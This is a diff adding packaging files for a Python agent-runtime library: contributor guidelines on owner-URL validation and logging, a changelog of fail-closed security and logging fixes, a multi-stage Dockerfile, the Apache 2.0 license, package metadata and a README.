+ A request-supplied OE owner URL is untrusted until `resolve_owner_url` ([`src/agent_engine_runner_shared/server/owner_url.py`](src/agent_engine_runner_shared/server/owner_url.py)) validates it as a headless replica of the configured service URL. Every POST to a validated owner URL follows one policy: the owner gets exactly one best-effort attempt with its own timeout; redirects are never followed (a 3xx from the owner host could forward the body past the validation boundary); **any** owner failure — transport error, 3xx, or other non-2xx — falls back to the trusted service URL; the owner is never retried; and OE/owner response bodies are never read or logged (they are externally influenced).
60
+
61
+ Do not hand-roll this pattern. Use `owner_delivered` in [`src/agent_engine_runner_shared/owner_callback.py`](src/agent_engine_runner_shared/owner_callback.py) (sync) or its async twin `_owner_delivered` in [`src/agent_engine_runner_shared/server/http_retry.py`](src/agent_engine_runner_shared/server/http_retry.py); the fallback status matrix is tested once against the helper, not per call site.
62
+
63
+ ---
64
+
65
+ ## Logging levels
66
+
67
+ Runner SDK lifecycle and implementation diagnostics that are useful only to platform operators or SDK maintainers must use `DEBUG`, not `INFO`. Reserve `INFO` and higher for customer-authored output and platform messages customers can act on. Keep levels aligned with the TypeScript counterpart for shared diagnostics.
68
+
69
+ ---
70
+
71
+ ## Cross-language parity with `agent-engine-runner-shared`
72
+
73
+ This package has a TypeScript counterpart, [`../../../javascript/packages/agent-engine-runner-shared/`](../../../javascript/packages/agent-engine-runner-shared/), that must stay behaviorally in sync for features that exist on both sides (e.g. `launcher.py` ↔ `launcher.ts`, `agent_config.py` ↔ `agent_config.ts`). Before changing a shared contract here — a launcher env-var name (`AGENT_ENTRYPOINT`, `AGENTIC_AGENT_CONFIG_PATH`), a runtime config key, an entrypoint convention, a default, or a behavioral/security invariant — check `../../../javascript/packages/agent-engine-runner-shared/` for the equivalent module (same base filename) or symbol. If it exists, make the same change there in the same PR, or note in the PR why parity does not apply. If it does not exist, the feature is currently Python-only — do not port it just because it changed. The check against the counterpart code is the source of truth; do not rely on a remembered list of which features are TS-side. See [Cross-language parity](../../../../../docs/coding-standards.md#cross-language-parity-python--typescript).
@@ -0,0 +1,60 @@
1
+ # Changelog
2
+
3
+ All notable changes to this package will be documented in this file.
4
+
5
+ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
6
+ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
7
+
8
+ ## [Unreleased]
9
+
10
+ ### Fixed
11
+ - Uncaught exceptions in agent code now emit one filterable `level=ERROR`
12
+ record instead of only `WARNING`. Ordinary stderr writes with no
13
+ associated exception (deprecation warnings, retry banners) stay `WARNING`,
14
+ and the existing line-by-line traceback capture is unchanged — this adds a
15
+ summary record rather than replacing anything.
16
+ - The Launcher now validates `RUNNER_MODE`, falling back to `aer` when it is
17
+ unset or unrecognized. An unrecognized value previously reached
18
+ the `service` field verbatim, and `/agent-logs` drops any record outside
19
+ `{agent-execution-runtime, tool-executor}` — so the crash log vanished.
20
+ - Launcher installs logging before importing `AGENT_ENTRYPOINT` and emits
21
+ `ERROR` (with traceback metadata) for import and entrypoint failures, so
22
+ workspace logs no longer show those crashes as `INFO`.
23
+ - `build_uvicorn_log_config()` now routes `uvicorn`/`uvicorn.error`/
24
+ `uvicorn.access` through the structured JSON pipeline when
25
+ `STRUCTURED_LOGGING=true`. An unhandled exception in a route
26
+ handler previously arrived as `level=WARNING` with `"ERROR: "` baked
27
+ into the message text and no `fields.exc_traceback`.
28
+
29
+ For uvicorn/FastAPI records only (agent-emitted records are unaffected),
30
+ four fields change: `level` now carries the real severity, `source`
31
+ becomes `python-logging` instead of `stderr`, `logger` becomes the real
32
+ origin instead of `root`, and the `"ERROR: "` prefix is gone from
33
+ `message`. A multi-line traceback now arrives as one `ERROR` record with
34
+ the trace in `fields.exc_traceback` rather than several `WARNING` lines.
35
+
36
+ **Migration:** saved queries or dashboards filtering on `source=stderr`
37
+ or `logger=root` to find these lines will stop matching — re-target
38
+ `logger` (`uvicorn`/`uvicorn.error`/`uvicorn.access`) or `level=ERROR`.
39
+
40
+ ### Changed
41
+ - **Behavioral change (fail closed):** Managed runtimes that require project-
42
+ scoped storage now require `APP_ID` when resolving checkpoint workspace
43
+ scope. A missing `APP_ID` raises instead of trusting the wire workspace or
44
+ using a bare session key. Intentionally unscoped local runtimes retain the
45
+ wire fallback and bare-key behavior.
46
+ - **Behavioral change (fail closed):** `agent_engine_runner_shared.server.metadata.applied_metadata_env`
47
+ now raises `RuntimeError` — before touching `os.environ` — when a region
48
+ overlaps a concurrent secret-bearing region: either another region already
49
+ has secrets applied, or this region carries secrets while any region is
50
+ active. Previously overlap was silent and could swap one request's secrets
51
+ into another's. In-repo call sites (`/execute`,
52
+ `/invoke_llm`, `/invoke_llm/stream`) are serialized by the ToolServer's
53
+ per-instance execute gate and are unaffected; a downstream consumer calling
54
+ `applied_metadata_env` directly, or a second in-process call site, must be
55
+ prepared to handle the exception per request.
56
+ - A region entered while another region is active now performs a *delete-only*
57
+ restore: keys it added are removed, but overwritten values are no longer
58
+ reverted, since its snapshot is tainted with the other region's
59
+ request-scoped state. Regions entered on a quiet environment (the serialized
60
+ production flow) keep the full snapshot restore.
@@ -0,0 +1,93 @@
1
+ # Multi-stage build for Runner SDK services (local-cluster deploy)
2
+ # Supports modes: aer, tool, memory-server
3
+ #
4
+ # Build context: client-libraries/
5
+ # Usage: docker buildx build -t runner:latest -f packages/python/packages/agent-engine-runner-shared/Dockerfile .
6
+
7
+ ARG BASE_TARGETPLATFORM=linux/amd64
8
+ ARG RUNNER_BASE_IMAGE=664315256653.dkr.ecr.us-east-1.amazonaws.com/base/amazonlinux2023-python:v3.11-202512082043-f9f77a3
9
+
10
+ FROM --platform=${BASE_TARGETPLATFORM} ghcr.io/astral-sh/uv@sha256:ff07b86af50d4d9391d9daf4ff89ce427bc544f9aae87057e69a1cc0aa369946 AS uv
11
+
12
+ # Build stage - Install dependencies
13
+ FROM --platform=${BASE_TARGETPLATFORM} ${RUNNER_BASE_IMAGE} AS builder
14
+
15
+ COPY --from=uv /uv /uvx /usr/local/bin/
16
+
17
+ WORKDIR /build
18
+
19
+ # Copy workspace-level manifests first (these change less often than source code).
20
+ COPY packages/python/pyproject.toml packages/python/uv.lock packages/python/uv.toml ./
21
+
22
+ # Copy dependency manifests for workspace packages.
23
+ COPY packages/python/packages/agent-engine-sdk-memory/pyproject.toml ./packages/agent-engine-sdk-memory/
24
+ COPY packages/python/packages/agent-engine-sdk/pyproject.toml ./packages/agent-engine-sdk/
25
+ COPY packages/python/packages/agent-engine-runner-shared/pyproject.toml packages/python/packages/agent-engine-runner-shared/README.md ./packages/agent-engine-runner-shared/
26
+ COPY packages/python/packages/agent-engine-sdk-langgraph/pyproject.toml packages/python/packages/agent-engine-sdk-langgraph/README.md ./packages/agent-engine-sdk-langgraph/
27
+ COPY packages/python/examples/insurance-agent/pyproject.toml packages/python/examples/insurance-agent/README.md ./examples/insurance-agent/
28
+
29
+ # Stub out source dirs so uv can resolve workspace packages during sync.
30
+ RUN mkdir -p packages/agent-engine-sdk-memory/agent_engine_sdk_memory \
31
+ && touch packages/agent-engine-sdk-memory/agent_engine_sdk_memory/__init__.py \
32
+ && mkdir -p packages/agent-engine-sdk/agent_engine_sdk \
33
+ && touch packages/agent-engine-sdk/agent_engine_sdk/__init__.py \
34
+ && mkdir -p packages/agent-engine-runner-shared/src/agent_engine_runner_shared \
35
+ && touch packages/agent-engine-runner-shared/src/agent_engine_runner_shared/__init__.py \
36
+ && mkdir -p packages/agent-engine-sdk-langgraph/src/agent_engine_sdk_langgraph \
37
+ && touch packages/agent-engine-sdk-langgraph/src/agent_engine_sdk_langgraph/__init__.py \
38
+ && mkdir -p examples/insurance-agent/src/insurance_agent \
39
+ && touch examples/insurance-agent/src/insurance_agent/__init__.py
40
+
41
+ # Install dependencies using uv.
42
+ # This layer is cached when only source code changes.
43
+ WORKDIR /build/examples/insurance-agent
44
+ RUN uv sync --frozen --no-dev --no-install-workspace --compile-bytecode
45
+
46
+ # Copy actual source code last — changes more frequently than dependencies.
47
+ WORKDIR /build
48
+ COPY packages/python/packages/agent-engine-sdk-memory/agent_engine_sdk_memory ./packages/agent-engine-sdk-memory/agent_engine_sdk_memory/
49
+ COPY packages/python/packages/agent-engine-sdk/agent_engine_sdk ./packages/agent-engine-sdk/agent_engine_sdk/
50
+ COPY packages/python/packages/agent-engine-runner-shared/src ./packages/agent-engine-runner-shared/src/
51
+ COPY packages/python/packages/agent-engine-sdk-langgraph/src ./packages/agent-engine-sdk-langgraph/src/
52
+ COPY packages/python/examples/insurance-agent/src ./examples/insurance-agent/src/
53
+
54
+ # Install workspace packages now that source is present.
55
+ WORKDIR /build/examples/insurance-agent
56
+ RUN uv sync --frozen --no-dev --compile-bytecode
57
+
58
+ # Runtime stage
59
+ FROM --platform=${BASE_TARGETPLATFORM} ${RUNNER_BASE_IMAGE} AS runtime
60
+
61
+ RUN set -eux; \
62
+ if command -v yum >/dev/null 2>&1; then \
63
+ yum install -y curl && yum clean all; \
64
+ elif command -v apt-get >/dev/null 2>&1; then \
65
+ apt-get update && apt-get install -y --no-install-recommends curl ca-certificates && rm -rf /var/lib/apt/lists/*; \
66
+ else \
67
+ echo "Unsupported base image package manager" >&2; exit 1; \
68
+ fi; \
69
+ if ! getent group app-user >/dev/null 2>&1; then groupadd -g 1001 app-user; fi; \
70
+ if ! id -u app-user >/dev/null 2>&1; then useradd -m -u 1001 -g app-user app-user; fi
71
+
72
+ WORKDIR /app
73
+
74
+ # Copy the entire venv from builder (includes all workspace packages).
75
+ # uv places the venv at the workspace root, not the package directory.
76
+ COPY --from=builder --chown=app-user:app-user /build/.venv /app/.venv
77
+
78
+ # Copy insurance agent source
79
+ COPY --from=builder --chown=app-user:app-user /build/examples/insurance-agent /app/insurance-agent
80
+
81
+ USER app-user
82
+
83
+ ENV PATH="/app/.venv/bin:$PATH"
84
+
85
+ EXPOSE 8000 8001 8002
86
+
87
+ HEALTHCHECK --interval=30s --timeout=3s --start-period=10s --retries=3 \
88
+ CMD curl -f http://localhost:${APP_PORT:-8000}/health || exit 1
89
+
90
+ ENV RUNNER_MODE=aer
91
+
92
+ WORKDIR /app/insurance-agent
93
+ CMD ["python", "-m", "insurance_agent.main"]
@@ -0,0 +1,201 @@
1
+ Apache License
2
+ Version 2.0, January 2004
3
+ http://www.apache.org/licenses/
4
+
5
+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6
+
7
+ 1. Definitions.
8
+
9
+ "License" shall mean the terms and conditions for use, reproduction,
10
+ and distribution as defined by Sections 1 through 9 of this document.
11
+
12
+ "Licensor" shall mean the copyright owner or entity authorized by
13
+ the copyright owner that is granting the License.
14
+
15
+ "Legal Entity" shall mean the union of the acting entity and all
16
+ other entities that control, are controlled by, or are under common
17
+ control with that entity. For the purposes of this definition,
18
+ "control" means (i) the power, direct or indirect, to cause the
19
+ direction or management of such entity, whether by contract or
20
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
21
+ outstanding shares, or (iii) beneficial ownership of such entity.
22
+
23
+ "You" (or "Your") shall mean an individual or Legal Entity
24
+ exercising permissions granted by this License.
25
+
26
+ "Source" form shall mean the preferred form for making modifications,
27
+ including but not limited to software source code, documentation
28
+ source, and configuration files.
29
+
30
+ "Object" form shall mean any form resulting from mechanical
31
+ transformation or translation of a Source form, including but
32
+ not limited to compiled object code, generated documentation,
33
+ and conversions to other media types.
34
+
35
+ "Work" shall mean the work of authorship, whether in Source or
36
+ Object form, made available under the License, as indicated by a
37
+ copyright notice that is included in or attached to the work
38
+ (an example is provided in the Appendix below).
39
+
40
+ "Derivative Works" shall mean any work, whether in Source or Object
41
+ form, that is based on (or derived from) the Work and for which the
42
+ editorial revisions, annotations, elaborations, or other modifications
43
+ represent, as a whole, an original work of authorship. For the purposes
44
+ of this License, Derivative Works shall not include works that remain
45
+ separable from, or merely link (or bind by name) to the interfaces of,
46
+ the Work and Derivative Works thereof.
47
+
48
+ "Contribution" shall mean any work of authorship, including
49
+ the original version of the Work and any modifications or additions
50
+ to that Work or Derivative Works thereof, that is intentionally
51
+ submitted to Licensor for inclusion in the Work by the copyright owner
52
+ or by an individual or Legal Entity authorized to submit on behalf of
53
+ the copyright owner. For the purposes of this definition, "submitted"
54
+ means any form of electronic, verbal, or written communication sent
55
+ to the Licensor or its representatives, including but not limited to
56
+ communication on electronic mailing lists, source code control systems,
57
+ and issue tracking systems that are managed by, or on behalf of, the
58
+ Licensor for the purpose of discussing and improving the Work, but
59
+ excluding communication that is conspicuously marked or otherwise
60
+ designated in writing by the copyright owner as "Not a Contribution."
61
+
62
+ "Contributor" shall mean Licensor and any individual or Legal Entity
63
+ on behalf of whom a Contribution has been received by Licensor and
64
+ subsequently incorporated within the Work.
65
+
66
+ 2. Grant of Copyright License. Subject to the terms and conditions of
67
+ this License, each Contributor hereby grants to You a perpetual,
68
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69
+ copyright license to reproduce, prepare Derivative Works of,
70
+ publicly display, publicly perform, sublicense, and distribute the
71
+ Work and such Derivative Works in Source or Object form.
72
+
73
+ 3. Grant of Patent License. Subject to the terms and conditions of
74
+ this License, each Contributor hereby grants to You a perpetual,
75
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76
+ (except as stated in this section) patent license to make, have made,
77
+ use, offer to sell, sell, import, and otherwise transfer the Work,
78
+ where such license applies only to those patent claims licensable
79
+ by such Contributor that are necessarily infringed by their
80
+ Contribution(s) alone or by combination of their Contribution(s)
81
+ with the Work to which such Contribution(s) was submitted. If You
82
+ institute patent litigation against any entity (including a
83
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
84
+ or a Contribution incorporated within the Work constitutes direct
85
+ or contributory patent infringement, then any patent licenses
86
+ granted to You under this License for that Work shall terminate
87
+ as of the date such litigation is filed.
88
+
89
+ 4. Redistribution. You may reproduce and distribute copies of the
90
+ Work or Derivative Works thereof in any medium, with or without
91
+ modifications, and in Source or Object form, provided that You
92
+ meet the following conditions:
93
+
94
+ (a) You must give any other recipients of the Work or
95
+ Derivative Works a copy of this License; and
96
+
97
+ (b) You must cause any modified files to carry prominent notices
98
+ stating that You changed the files; and
99
+
100
+ (c) You must retain, in the Source form of any Derivative Works
101
+ that You distribute, all copyright, patent, trademark, and
102
+ attribution notices from the Source form of the Work,
103
+ excluding those notices that do not pertain to any part of
104
+ the Derivative Works; and
105
+
106
+ (d) If the Work includes a "NOTICE" text file as part of its
107
+ distribution, then any Derivative Works that You distribute must
108
+ include a readable copy of the attribution notices contained
109
+ within such NOTICE file, excluding those notices that do not
110
+ pertain to any part of the Derivative Works, in at least one
111
+ of the following places: within a NOTICE text file distributed
112
+ as part of the Derivative Works; within the Source form or
113
+ documentation, if provided along with the Derivative Works; or,
114
+ within a display generated by the Derivative Works, if and
115
+ wherever such third-party notices normally appear. The contents
116
+ of the NOTICE file are for informational purposes only and
117
+ do not modify the License. You may add Your own attribution
118
+ notices within Derivative Works that You distribute, alongside
119
+ or as an addendum to the NOTICE text from the Work, provided
120
+ that such additional attribution notices cannot be construed
121
+ as modifying the License.
122
+
123
+ You may add Your own copyright statement to Your modifications and
124
+ may provide additional or different license terms and conditions
125
+ for use, reproduction, or distribution of Your modifications, or
126
+ for any such Derivative Works as a whole, provided Your use,
127
+ reproduction, and distribution of the Work otherwise complies with
128
+ the conditions stated in this License.
129
+
130
+ 5. Submission of Contributions. Unless You explicitly state otherwise,
131
+ any Contribution intentionally submitted for inclusion in the Work
132
+ by You to the Licensor shall be under the terms and conditions of
133
+ this License, without any additional terms or conditions.
134
+ Notwithstanding the above, nothing herein shall supersede or modify
135
+ the terms of any separate license agreement you may have executed
136
+ with Licensor regarding such Contributions.
137
+
138
+ 6. Trademarks. This License does not grant permission to use the trade
139
+ names, trademarks, service marks, or product names of the Licensor,
140
+ except as required for reasonable and customary use in describing the
141
+ origin of the Work and reproducing the content of the NOTICE file.
142
+
143
+ 7. Disclaimer of Warranty. Unless required by applicable law or
144
+ agreed to in writing, Licensor provides the Work (and each
145
+ Contributor provides its Contributions) on an "AS IS" BASIS,
146
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147
+ implied, including, without limitation, any warranties or conditions
148
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149
+ PARTICULAR PURPOSE. You are solely responsible for determining the
150
+ appropriateness of using or redistributing the Work and assume any
151
+ risks associated with Your exercise of permissions under this License.
152
+
153
+ 8. Limitation of Liability. In no event and under no legal theory,
154
+ whether in tort (including negligence), contract, or otherwise,
155
+ unless required by applicable law (such as deliberate and grossly
156
+ negligent acts) or agreed to in writing, shall any Contributor be
157
+ liable to You for damages, including any direct, indirect, special,
158
+ incidental, or consequential damages of any character arising as a
159
+ result of this License or out of the use or inability to use the
160
+ Work (including but not limited to damages for loss of goodwill,
161
+ work stoppage, computer failure or malfunction, or any and all
162
+ other commercial damages or losses), even if such Contributor
163
+ has been advised of the possibility of such damages.
164
+
165
+ 9. Accepting Warranty or Additional Liability. While redistributing
166
+ the Work or Derivative Works thereof, You may choose to offer,
167
+ and charge a fee for, acceptance of support, warranty, indemnity,
168
+ or other liability obligations and/or rights consistent with this
169
+ License. However, in accepting such obligations, You may act only
170
+ on Your own behalf and on Your sole responsibility, not on behalf
171
+ of any other Contributor, and only if You agree to indemnify,
172
+ defend, and hold each Contributor harmless for any liability
173
+ incurred by, or claims asserted against, such Contributor by reason
174
+ of your accepting any such warranty or additional liability.
175
+
176
+ END OF TERMS AND CONDITIONS
177
+
178
+ APPENDIX: How to apply the Apache License to your work.
179
+
180
+ To apply the Apache License to your work, attach the following
181
+ boilerplate notice, with the fields enclosed by brackets "[]"
182
+ replaced with your own identifying information. (Don't include
183
+ the brackets!) The text should be enclosed in the appropriate
184
+ comment syntax for the file format. We also recommend that a
185
+ file or class name and description of purpose be included on the
186
+ same "printed page" as the copyright notice for easier
187
+ identification within third-party archives.
188
+
189
+ Copyright 2026 MongoDB, Inc.
190
+
191
+ Licensed under the Apache License, Version 2.0 (the "License");
192
+ you may not use this file except in compliance with the License.
193
+ You may obtain a copy of the License at
194
+
195
+ http://www.apache.org/licenses/LICENSE-2.0
196
+
197
+ Unless required by applicable law or agreed to in writing, software
198
+ distributed under the License is distributed on an "AS IS" BASIS,
199
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200
+ See the License for the specific language governing permissions and
201
+ limitations under the License.
@@ -0,0 +1,89 @@
1
+ Metadata-Version: 2.5
2
+ Name: agent-engine-runner-shared
3
+ Version: 0.11.4
4
+ Summary: Runner SDK - Framework-agnostic agent runtime
5
+ License: Apache-2.0
6
+ License-File: LICENSE
7
+ Requires-Python: >=3.11
8
+ Requires-Dist: agent-engine-sdk-memory==0.11.4
9
+ Requires-Dist: agent-engine-sdk==0.11.4
10
+ Requires-Dist: fastapi>=0.141.1
11
+ Requires-Dist: filelock>=3.0.0
12
+ Requires-Dist: httpx-sse>=0.4.0
13
+ Requires-Dist: httpx>=0.27.0
14
+ Requires-Dist: jsonschema>=4.26.0
15
+ Requires-Dist: mcp==1.27.0
16
+ Requires-Dist: msgpack>=1.0.0
17
+ Requires-Dist: protobuf<7,>=6.33.6
18
+ Requires-Dist: pydantic>=2.0.0
19
+ Requires-Dist: python-dotenv>=1.0.0
20
+ Requires-Dist: pyyaml>=6.0
21
+ Requires-Dist: regex>=2026.4.4
22
+ Requires-Dist: sentry-sdk>=2.27.0
23
+ Requires-Dist: starlette>=1.4.1
24
+ Requires-Dist: uvicorn>=0.32.0
25
+ Provides-Extra: dev
26
+ Requires-Dist: mongomock>=4.1.0; extra == 'dev'
27
+ Requires-Dist: msgpack>=1.0.0; extra == 'dev'
28
+ Requires-Dist: pymongo>=4.0.0; extra == 'dev'
29
+ Requires-Dist: pyright>=1.1.390; extra == 'dev'
30
+ Requires-Dist: pytest-asyncio>=0.24.0; extra == 'dev'
31
+ Requires-Dist: pytest>=9.1.1; extra == 'dev'
32
+ Requires-Dist: ruff>=0.6.0; extra == 'dev'
33
+ Provides-Extra: mongodb
34
+ Requires-Dist: motor>=3.0.0; extra == 'mongodb'
35
+ Requires-Dist: pymongo>=4.0.0; extra == 'mongodb'
36
+ Provides-Extra: tracing
37
+ Requires-Dist: opentelemetry-api>=1.20.0; extra == 'tracing'
38
+ Requires-Dist: opentelemetry-exporter-otlp-proto-http>=1.20.0; extra == 'tracing'
39
+ Requires-Dist: opentelemetry-instrumentation-httpx>=0.47b0; extra == 'tracing'
40
+ Requires-Dist: opentelemetry-sdk>=1.20.0; extra == 'tracing'
41
+ Description-Content-Type: text/markdown
42
+
43
+ # agent-engine-runner-shared
44
+
45
+ [![License](https://img.shields.io/badge/license-Apache--2.0-blue.svg)](LICENSE)
46
+
47
+ The Python runner runtime for Atlas Agent Engine. It provides the platform
48
+ protocol, secure tool and LLM wrappers, request-scoped runtime context, and
49
+ server adapters used by the Python LangGraph and ADK SDKs.
50
+
51
+ This package is an open-source runtime integration library. Running an agent
52
+ through the managed service requires Atlas Agent Engine services such as the
53
+ Orchestration Engine and the Agent Execution Runtime; those services are not
54
+ distributed with this package. Agent authors normally depend on a framework SDK
55
+ (`agent-engine-sdk-langgraph` or `agent-engine-sdk-adk`), which installs this
56
+ package.
57
+
58
+ ## Install
59
+
60
+ ```bash
61
+ pip install agent-engine-runner-shared
62
+ ```
63
+
64
+ ## Optional dependencies
65
+
66
+ Install features as needed. Use `uv add` if your project is managed with uv, or `pip install` otherwise:
67
+
68
+ ```bash
69
+ # uv projects
70
+ uv add agent-engine-runner-shared
71
+ uv add "agent-engine-runner-shared[mongodb,tracing]"
72
+ uv add "agent-engine-runner-shared[tracing]"
73
+ uv add "agent-engine-runner-shared[mongodb]"
74
+
75
+ # pip
76
+ pip install agent-engine-runner-shared
77
+ pip install "agent-engine-runner-shared[mongodb,tracing]"
78
+ pip install "agent-engine-runner-shared[tracing]"
79
+ pip install "agent-engine-runner-shared[mongodb]"
80
+ ```
81
+
82
+ ## Development
83
+
84
+ ```bash
85
+ uv sync --extra dev
86
+ uv run pytest
87
+ ```
88
+
89
+ Copyright 2026 MongoDB, Inc. Licensed under the Apache License, Version 2.0.
@@ -0,0 +1,47 @@
1
+ # agent-engine-runner-shared
2
+
3
+ [![License](https://img.shields.io/badge/license-Apache--2.0-blue.svg)](LICENSE)
4
+
5
+ The Python runner runtime for Atlas Agent Engine. It provides the platform
6
+ protocol, secure tool and LLM wrappers, request-scoped runtime context, and
7
+ server adapters used by the Python LangGraph and ADK SDKs.
8
+
9
+ This package is an open-source runtime integration library. Running an agent
10
+ through the managed service requires Atlas Agent Engine services such as the
11
+ Orchestration Engine and the Agent Execution Runtime; those services are not
12
+ distributed with this package. Agent authors normally depend on a framework SDK
13
+ (`agent-engine-sdk-langgraph` or `agent-engine-sdk-adk`), which installs this
14
+ package.
15
+
16
+ ## Install
17
+
18
+ ```bash
19
+ pip install agent-engine-runner-shared
20
+ ```
21
+
22
+ ## Optional dependencies
23
+
24
+ Install features as needed. Use `uv add` if your project is managed with uv, or `pip install` otherwise:
25
+
26
+ ```bash
27
+ # uv projects
28
+ uv add agent-engine-runner-shared
29
+ uv add "agent-engine-runner-shared[mongodb,tracing]"
30
+ uv add "agent-engine-runner-shared[tracing]"
31
+ uv add "agent-engine-runner-shared[mongodb]"
32
+
33
+ # pip
34
+ pip install agent-engine-runner-shared
35
+ pip install "agent-engine-runner-shared[mongodb,tracing]"
36
+ pip install "agent-engine-runner-shared[tracing]"
37
+ pip install "agent-engine-runner-shared[mongodb]"
38
+ ```
39
+
40
+ ## Development
41
+
42
+ ```bash
43
+ uv sync --extra dev
44
+ uv run pytest
45
+ ```
46
+
47
+ Copyright 2026 MongoDB, Inc. Licensed under the Apache License, Version 2.0.